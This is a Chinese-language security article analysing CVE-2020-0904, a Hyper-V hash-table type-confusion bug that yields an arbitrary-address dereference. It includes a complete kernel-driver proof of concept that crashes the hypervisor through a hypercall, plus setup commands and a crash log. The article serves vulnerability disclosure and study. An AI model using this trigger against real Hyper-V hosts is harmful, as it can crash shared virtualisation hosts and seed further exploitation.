CVE-2020-0904:Hyper-V类型混淆任意地址解引用漏洞分析

  • A+
所属分类:安全漏洞 逆向工程

更多全球网络安全资讯尽在邑安全

CVE-2020-0904:Hyper-V类型混淆任意地址解引用漏洞分析

0x00 影响平台

Windows 10.0.18363.418
Hyper-V内核版本18362 x64
早期版本也受影响。

 

0x01 技术细节

Hyper-V的一些hypervisor组件中使用了一个哈希表的实现,通过在结构体的定义中嵌入一个entry字段,可以把对象链接起来,类似链表的LIST_ENTRY的用法。

entry的结构可定义如下:

struct entry
{

struct entry *next;
unsigned long key;
};

包含entry字段的哈希表对象的key对应的值被初始化为-1,这一项用作遍历表时的结束标志。如果攻击者搜索值-1,查找函数的一个漏洞将导致调用者认为搜索成功,且查找函数会返回这个末尾表项。调用者会认为这是表中的普通有效表项,接着去使用它。

哈希表对象的结构体中的部分字段如下:

  • 桶的数量

  • 元素的数量

  • 指向桶(至多30个)的指针数组

  • 末尾表项entry,其key=-1next=NULL

  • 指向表头的指针(初始化为末尾表项)

我们关心的字段是哈希表结构中内嵌的末尾表项和表头,从表头出发可以得到表中所有元素。表头初始化为指向末尾表项。

所有元素链接在一起,按key升序排列。桶用来索引表项,以便加速查找时间。

当插入元素或者查找key时,原始key进行如下变换:

key = reverse_bits64(key) | 1

key的最高位丢失了,导致可能出现key碰撞:k' = k ^ (1 << 63)。如果原始key未进行明确比较的话,这可能导致安全问题。一些理论上的攻击情形包括:

  • 用keyk无权访问某个对象,但用keyk'却可以通过检查而进行访问

  • 可以用k'来删除k

  • 预先插入对象k'从而使后续k的插入失败

目前尚未发现这些潜在的问题真正出现,但是使用这种实现时应当加以注意。

桶有自己的表元素和keys,以如下方式产生:

>>> def keys(bucket_count):
... return [list(range((1 << x) & ~1, (1 << (x+1)) & ~1))
... for x in range(0, bucket_count)]

例如有4个桶,那么产生的keys为:

>>> keys(4)
[[0, 1], [2, 3], [4, 5, 6, 7], [8, 9, 10, 11, 12, 13, 14, 15]]

这些keys也进行位反转,但不和1进行或操作,保证其在查找时不会和通常的元素keys匹配。

最后是遍历函数,在元素放入表中某部位(由桶索引)后调用遍历函数。此时必须遍历元素来寻找匹配的key。

bool __fastcall fun_traversal(struct entry *list_head, unsigned __int64 key,
volatile signed __int64 **pPrevious, volatile signed __int64 **pCurrent)

{
struct entry *head; // rbx
struct entry *previous; // r10
struct entry *current; // rax
struct entry *_next; // rcx
struct entry *next; // rcx

head = list_head;
LABEL_2:
previous = head;
for ( current = (head->next & 0xFFFFFFFFFFFFFFFEui64); ; current = next )
{
_next = current->next;
*pPrevious = previous;
*pCurrent = current;
if ( !(_next & 1) )
break;
next = (_next & 0xFFFFFFFFFFFFFFFEui64);
if ( current != _InterlockedCompareExchange(previous, next, current) )
goto LABEL_2;
LABEL_7:
;
}
if ( *&current->key < key )
{
previous = current;
next = (_next & 0xFFFFFFFFFFFFFFFEui64);
goto LABEL_7;
}
return *&current->key == key;
}

该函数遍历给定的表,从head开始,直到找到大于等于key参数的key。参数pPreviouspCurrent被设为最后访问的表项的地址。如果找到了key,返回true,否则返回false

进行查找的代码会期望遍历函数在key未找到时返回false,但是如果我们查找的是末尾表项的key(-1)的话,因为-1的二进制位全为1,所以与1或的操作无法保护它,函数将会返回true,而pCurrent则指向末尾表项。

只需搜索key0xffffffffffffffff就可以触发这个问题,碰撞的key0x7fffffffffffffff也会产生此行为。

如上所述,返回的表项类似于LIST_ENTRY字段,所以要计算所对应的对象的基地址,就需要减去字段的偏移:

CONTAINING_RECORD(resulting_base, struct obj_type, entry_field)

因为返回的地址是末尾表项的地址,对其应用CONTAINING_RECORD将会返回哈希表对象内部(或其下方)的任意地址。调用者会认为这是所期望的对象类型,而接着对这个任意指针进行操作。

 

0x02 影响

该漏洞的影响范围取决于影响着最终的偏移地址的一些条件,漏洞可以潜在导致任意代码执行。

这些条件例如:

  • 调用者的对象大小和entry字段的偏移

  • 发行版/平台间结构体布局的差异

 

0x03 PoC

以下PoC可触发漏洞,使用了HvFlushGuestPhysicalAddressSpace hypercall,我们认为这是最简单的触发路径。

需要在Windows客户机中加载驱动,且客户机开启嵌套虚拟化,禁用Hyper-V。

主机运行:

Set-VMProcessor -VMName poc_vm -ExposeVirtualizationExtensions $true

客户机运行(需要重启):

bcdedit /set hypervisorlaunchtype off
#include <intrin.h>
#include <intrin.h>
#include <ntddk.h>
#include <wdf.h>
#include <initguid.h>

EXTERN_C_START
DRIVER_INITIALIZE DriverEntry;
EXTERN_C_END

#ifdef ALLOC_PRAGMA
#pragma alloc_text (INIT, DriverEntry)
#endif

#pragma code_seg(push, r1, ".text")
__declspec(allocate(".text")) BYTE trigger[] =
{
0x48, 0x89, 0xC8, // mov rax, rcx hypercall page
0xB9, 0xAF, 0x00, 0x01, 0x00, // mov ecx, 0x100af
0x48, 0xBA, 0xFF, 0xFF, 0xFF, // HvFlushGuestPhysicalAddressSpace
0xFF, 0xFF, 0xFF, 0xFF, 0x7F, // mov rdx,0x7fffffffffffffff GPA
0x4D, 0x31, 0xC0, // xor r8,r8 flags
0xFF, 0xD0 // call rax
};
#pragma code_seg(pop, r1)

typedef void(* TriggerCall)(void *hc_page);

typedef union hv_x64_msr_contents
{
UINT64 as_uint64;
struct
{

UINT64 enable : 1;
UINT64 reserved : 11;
UINT64 guest_physical_address : 52;
} u;
} hv_msr_contents;

#define HV_X64_MSR_GUEST_OS_ID 0x40000000
#define HV_X64_MSR_HYPERCALL 0x40000001
#define HV_X64_MSR_VP_ASSIST_PAGE 0x40000073
#define CR4_VMXE (1 << 13)
#define CPUID_FEAT_ECX_VMX (1 << 5)
#define MSR_IA32_VMX_BASIC 0x480

__declspec(align(0x1000)) UINT32 vmxon_page[1024];
__declspec(align(0x1000)) UINT32 assist_page[1024];


NTSTATUS enable_vmxe(void)
{
int cpuInfo[4];
NTSTATUS status = STATUS_NOT_IMPLEMENTED;

__cpuid(cpuInfo, 1);

if (cpuInfo[2] & CPUID_FEAT_ECX_VMX)
{
UINT64 cr4 = __readcr4();
UINT64 pvmxon_page = MmGetPhysicalAddress(&vmxon_page).QuadPart;

KdPrint(("[+] Virtualization support detected"));

if (!(cr4 & CR4_VMXE))
{
KdPrint(("[+] Enabling VMXE..."));
__writecr4(cr4 | CR4_VMXE);
}

memset(vmxon_page, 0, sizeof(vmxon_page));
vmxon_page[0] = (UINT32) __readmsr(MSR_IA32_VMX_BASIC);
KdPrint(("[+] VMX revision %x", vmxon_page[0]));
KdPrint(("[+] Entering monitor mode..."));

if (__vmx_on(&pvmxon_page))
KdPrint(("[-] VMXON failed"));
else
status = STATUS_SUCCESS;
}

return status;
}


NTSTATUS
DriverEntry(
_In_ PDRIVER_OBJECT DriverObject,
_In_ PUNICODE_STRING RegistryPath
)

{
void* hypercall_page;
hv_msr_contents hc_page, assist;
PHYSICAL_ADDRESS pa_hcpage;
NTSTATUS status = enable_vmxe();

if (!NT_SUCCESS(status))
return status;

hc_page.as_uint64 = __readmsr(HV_X64_MSR_HYPERCALL);
pa_hcpage.QuadPart = hc_page.u.guest_physical_address << PAGE_SHIFT;
hypercall_page = MmMapIoSpace(pa_hcpage, PAGE_SIZE, MmNonCached);
memset(&assist_page, 0, sizeof(assist_page));
assist.as_uint64 = MmGetPhysicalAddress(&assist_page).QuadPart;
assist.u.enable = 1;
__writemsr(HV_X64_MSR_VP_ASSIST_PAGE, assist.as_uint64);
((TriggerCall)trigger)(hypercall_page); // Boom
return status;
}

PoC中,基址计算的结果是对哈希表对象的桶数的偏移,应返回的对象第一个字段是传给下一个函数的指针。函数得到的是0x10(桶数),然后对其解引用导致系统崩溃。

Access violation - code c0000005 (!!! second chance !!!)
hv+0x30548c:
fffffbf3`a090548c 488b01 mov rax,qword ptr [rcx]
3: kd> r rcx
rcx=0000000000000010
3: kd> kb
# RetAddr : Args to
Child : Call Site
00 fffffbf3
`a0904cce : ffffe802`c5604190 ffffe802`c56048c0
00000000`00000003 ffffe802`c5608050 : hv+0x30548c
01 fffffbf3`a09026f3 : ffffe802`c5604050 fffffbf3`a1201068
00000000
`00000001 fffffbf3`a090f7e9 : hv+0x304cce
02 fffffbf3
`a08b6363 : 00000000`00000010 ffff9d86`d2a8f7b8
00000000`00000000 00000000`00000000 : hv+0x3026f3
03 fffffbf3`a0829068 : 00000000`00000000 00000000`00000002
00000000
`00000000 fffffbf3`a082ea1e : hv+0x2b6363
04 fffffbf3
`a0828cf2 : 00000000`00000000 fffffbf3`a08255c1
ffffe802`c5608050 fffffbf3`a081d842 : hv+0x229068
05 fffffbf3`a081e1de : 00000000`00000000 00000000`0010003a
00000000
`0010003a 00000000`000100af : hv+0x228cf2
06 fffffbf3
`a08734f6 : 00000000`00000000 ffffe802`c5608000
00000000`800000ff 00000000`00000001 : hv+0x21e1de
07 00000000`00000000 : 00000000`00000000 00000000`00000000
00000000
`00000000 00000000`00000000 : hv+0x2734f6
转自安全客
欢迎收藏并分享朋友圈,让五邑人网络更安全

CVE-2020-0904:Hyper-V类型混淆任意地址解引用漏洞分析

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!


推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 




发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: